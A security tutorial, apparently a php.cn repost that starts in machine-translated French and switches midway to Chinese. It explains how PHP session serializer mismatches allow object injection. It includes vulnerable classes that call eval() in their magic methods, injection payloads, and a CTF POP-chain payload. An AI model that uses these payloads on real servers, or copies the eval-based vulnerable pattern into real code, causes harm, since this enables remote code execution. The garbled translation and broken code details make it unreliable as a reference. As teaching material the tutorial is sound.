Cette fois, je vais vous apporter une explication détaillée de l'utilisation de la désérialisation SESSION de PHP Quelles sont les précautions lors de l'utilisation de la désérialisation SESSION de PHP Voici un cas pratique, jetons un coup d'oeil.
Il y a trois éléments de configuration dans php.ini :
session.save_path="" --Définissez le chemin de stockage de la session
session.save_handler=" " --Définissez une fonction de stockage définie par l'utilisateur Si vous souhaitez utiliser autre chose que le mécanisme de stockage de session intégré à PHP, vous pouvez utiliser cette fonction (base de données, etc.)
session.auto_start boolen --Spécifiez si la session. Le module démarre une session au début de la session de requête, la valeur par défaut est 0 et ne démarre pas
chaîne session.serialize_handler -- définit le nom du processeur utilisé pour la sérialisation/désérialisation. Utiliser php par défaut
Les options ci-dessus sont liées au stockage de session et au stockage de séquence en PHP.
Lors de l'installation à l'aide du composant xampp, les éléments de configuration ci-dessus sont définis comme suit :
session.save_path="D:xampptmp" indique que tous les fichiers de session sont stockés sous xampp/tmp
session . save_handler=files Indique que la session est stockée sous forme de fichiers
session.auto_start=0 Indique que la session n'est pas démarrée par défaut
session.serialize_handler=php Indique que le moteur de sérialisation par défaut de la session utilise le Moteur de sérialisation php
Dans la configuration ci-dessus, session.serialize_handler est utilisé pour définir le moteur de sérialisation de la session En plus du moteur PHP par défaut, il existe d'autres moteurs. Les méthodes de stockage des sessions correspondant aux différents moteurs sont différentes.
php_binary : La méthode de stockage est le caractère ASCII correspondant à la longueur du nom de la clé + le nom de la clé + la valeur sérialisée par la fonction serialize()
php : La méthode de stockage est le nom de la clé + barre verticale + après La valeur sérialisée par la fonction Serialize()
php_serialize(php>5.5.4) : La méthode de stockage est que la valeur sérialisée par la fonction Serialize()
utilise par défaut le moteur PHP dans PHP. Si vous souhaitez modifier Pour d'autres moteurs, ajoutez simplement le code ini_set('session.serialize_handler', 'Le moteur qui doit être défini');. L'exemple de code est le suivant :
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); // do something
Mécanisme de stockage
Le contenu de la session en php n'est pas stocké en mémoire, mais est stocké sous forme de fichiers. La méthode est déterminée par l'élément de configuration session.save_handler. La valeur par défaut est de stocker dans un fichier.
Le fichier stocké porte le nom de sess_sessionid et le contenu du fichier est le contenu après la séquence de la valeur de session.
En supposant que notre environnement est xampp, la configuration par défaut est la même que ci-dessus.
Dans la configuration par défaut :
<?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?>
La dernière session est stockée et affichée comme suit :
Vous pouvez voir que la valeur de PHPSESSID est jo86ud4jfvu81mbg28sl2s56c2, et dans xampp /tmp Le nom du fichier stocké sous est sess_jo86ud4jfvu81mbg28sl2s56c2 et le contenu du fichier est name|s:6:"spoock";. name est la valeur clé, s:6:"spoock"; est le résultat de serialize("spoock").
Sous le moteur php_serialize :
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
Le contenu du fichier SESSION est un:1:{s:4:"name";s:6 : "spock " ;}. a:1 sera ajouté si php_serialize est utilisé pour la sérialisation. Dans le même temps, l'utilisation de php_serialize sérialisera à la fois la clé et la valeur dans la session.
Sous le moteur php_binary :
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
Le contenu du fichier SESSION est noms :6:"spoock";. Puisque la longueur du nom est 4, 4 correspond à EOT dans la table ASCII. Selon les règles de stockage de php_binary, le dernier est names:6:"spoock";. (Soudain, j'ai découvert que les caractères avec une valeur ASCII de 4 ne peuvent pas être affichés sur la page Web. Veuillez vérifier vous-même le tableau ASCII)
La sérialisation est simplement utilisée
test.php
<?php class syclover{ var $func=""; function construct() { $this->func = "phpinfo()"; } function wakeup(){ eval($this->func); } } unserialize($_GET['a']); ?>
sérialise les paramètres entrants sur la ligne 11. Nous pouvons transmettre une chaîne spécifique, la désérialiser dans un exemple de syclover, puis exécuter la méthode eval(). Nous visitons localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}. Ensuite, le contenu obtenu par désérialisation est :
object(syclover)[1] public 'func' => string 'echo "spoock";' (length=14)
La dernière page en sortie est spoock, indiquant que la méthode echo "spoock" que nous avons définie a finalement été exécutée.
Il s'agit d'une démonstration d'une simple vulnérabilité de sérialisation
Dangers liés à la sérialisation dans une session PHP
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是
a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:
array (size=1) 'a:1:{s:6:"spoock";s:24:"' => object(PHP_Incomplete_Class)[1] public 'PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际利用
存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["spoock"]=$_GET["a"];
us2.php,使用php来处理session
ini_set('session.serialize_handler', 'php'); session_start(); class lemon { var $hi; function construct(){ $this->hi = 'phpinfo();'; } function destruct() { eval($this->hi); } }
当访问s1.php时,提交如下的数据:
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
CTF
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php <?php highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));//show_source(FILE); class foo1{ public $varr; function construct(){ $this->varr = "index.php"; } function destruct(){ if(file_exists($this->varr)){ echo "<br>文件".$this->varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; }} class foo2{ public $varr; public $obj; function construct(){ $this->varr = '1234567890'; $this->obj = null; } function toString(){ $this->obj->execute(); return $this->varr; } function desctuct(){ echo "<br>这是foo2的析构函数<br>"; }} class foo3{ public $varr; function execute(){ eval($this->varr); } function desctuct(){ echo "<br>这是foo3的析构函数<br>"; }} ?>index.php <?php ini_set('session.serialize_handler', 'php'); require("./class.php"); session_start(); $obj = new foo1(); $obj->varr = "phpinfo.php"; ?>
通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php
<?phpclass foo3{ public $varr='echo "spoock";'; function execute(){ eval($this->varr); }}class foo2{ public $varr; public $obj; function construct(){ $this->varr = '1234567890'; $this->obj = new foo3(); } function toString(){ $this->obj->execute(); return $this->varr; }} class foo1{ public $varr; function construct(){ $this->varr = new foo2(); }} $obj = new foo1();print_r(serialize($obj));?>
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。
相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!
推荐阅读:
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!